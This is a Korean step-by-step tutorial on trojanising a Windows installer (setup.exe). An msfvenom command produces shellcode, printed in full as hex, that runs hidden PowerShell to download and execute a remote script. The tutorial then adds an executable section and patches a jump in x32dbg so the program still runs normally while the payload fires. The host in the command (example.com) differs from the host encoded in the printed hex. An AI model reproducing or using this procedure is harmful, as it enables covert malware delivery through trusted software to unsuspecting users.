How to inject payload to PE
How to inject payload to PE
How to inject payload to PE
1. Payload
이 시나리오에서는 setup.exe 파일에 payload 를 injection 할 것이다.
칼리 리눅스에서 아래 명령어로 payload 를 만들자.
참고로 setup.exe 는 32bit 프로그램이다.
64bit인 경우에는 msfvenom -p windows/x64/exec 를 이용하자.
msfvenom -p windows/exec CMD="powershell -WindowStyle hidden iex (New-Object Net.WebClient).DownloadString('http://example.com:8001/a2.ps1')" -f hex
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5706f7765727368656c6c202d57696e646f775374796c652068696464656e2069657820284e65772d4f626a656374204e65742e576562436c69656e74292e446f776e6c6f6164537472696e672827687474703a2f2f6e6574776169662e73796e6f6c6f67792e6d653a383030312f61322e707331272900
출력결과를 windows notepad 에 저장하자.
2. Create file new section
PE-bear 에서 setup.exe 를 열고 Sections > Add a new section > section name 은 .new 로 raw size 와 virtual size 는 1000 으로 그리고 read write execute 속성을 체크한다. > save the executable as … > setup-new.exe
3. Inejct shell code to setup-new.exe
이제 x32dbg.exe 에서 setup-new.exe 를 실행하자.
x32dbg.exe 에서 Memory Map 탭을 클릭한후 .new 의 주소를 복사해서 메모장에 붙여넣자.
.new address : 01048000
디버깅 하면서 jmp 0x01048000 을 injection 할 위치를 찾아야 한다.
entry point 이후로 jmp 명령어중 찾아보자.
우리가 injection할 jmp op code의 byte가 4byte 라면 op code 의 byte가 4 이상인 위치를 찾는다.
찾은 위치를 메모장에 붙여넣기 하자.
Old Restore JMP Address : jmp setup-codeex.E79180
이제 jmp setup-codeex.E79180 이부분을 jmp 0x01048000 로 변경하고 0x01048000 주소로 이동하자.
처음 2줄을 다음 어셈블리어로 변경하자.
pushad
pushfd
eip 를 pushfd 다음 라인으로 이동한후 esp 를 복사해서 다음과 같이 메모장에 저장하자.
esp1 : 00AFF9CC
위의 shell code 를 복사하자.
shell code 에서 powershell 을 실행한후에 프로그램이 종료 되지 않도록 위치를 찾아서 수정해야 한다.
디버깅을해서 위치를 찾고 찾은 위치를 적당한 nop 와 jmp <주소> 로 수정하자.
여기서 <주소> 이부분은 shell code 이후의 남은 공간이다.
<주소> 이부분으로 EIP 를 이동한후 ESP 값을 복사하자.
esp2 : 00AFF9C8
계산기를 실행해서 16진수 계산을 하자.
esp1 - esp2 = 4
아래 명령어를 실행해서 stack 내용을 복원하고 원래 코드의 위치로 돌아가자.
add ESP, 0x4
popfd
popad
jmp 0xE79180
프로그램이 정상 작동하는지 확인후 x32dbg.exe > 패치 버튼 아이콘 > Select All > Patch File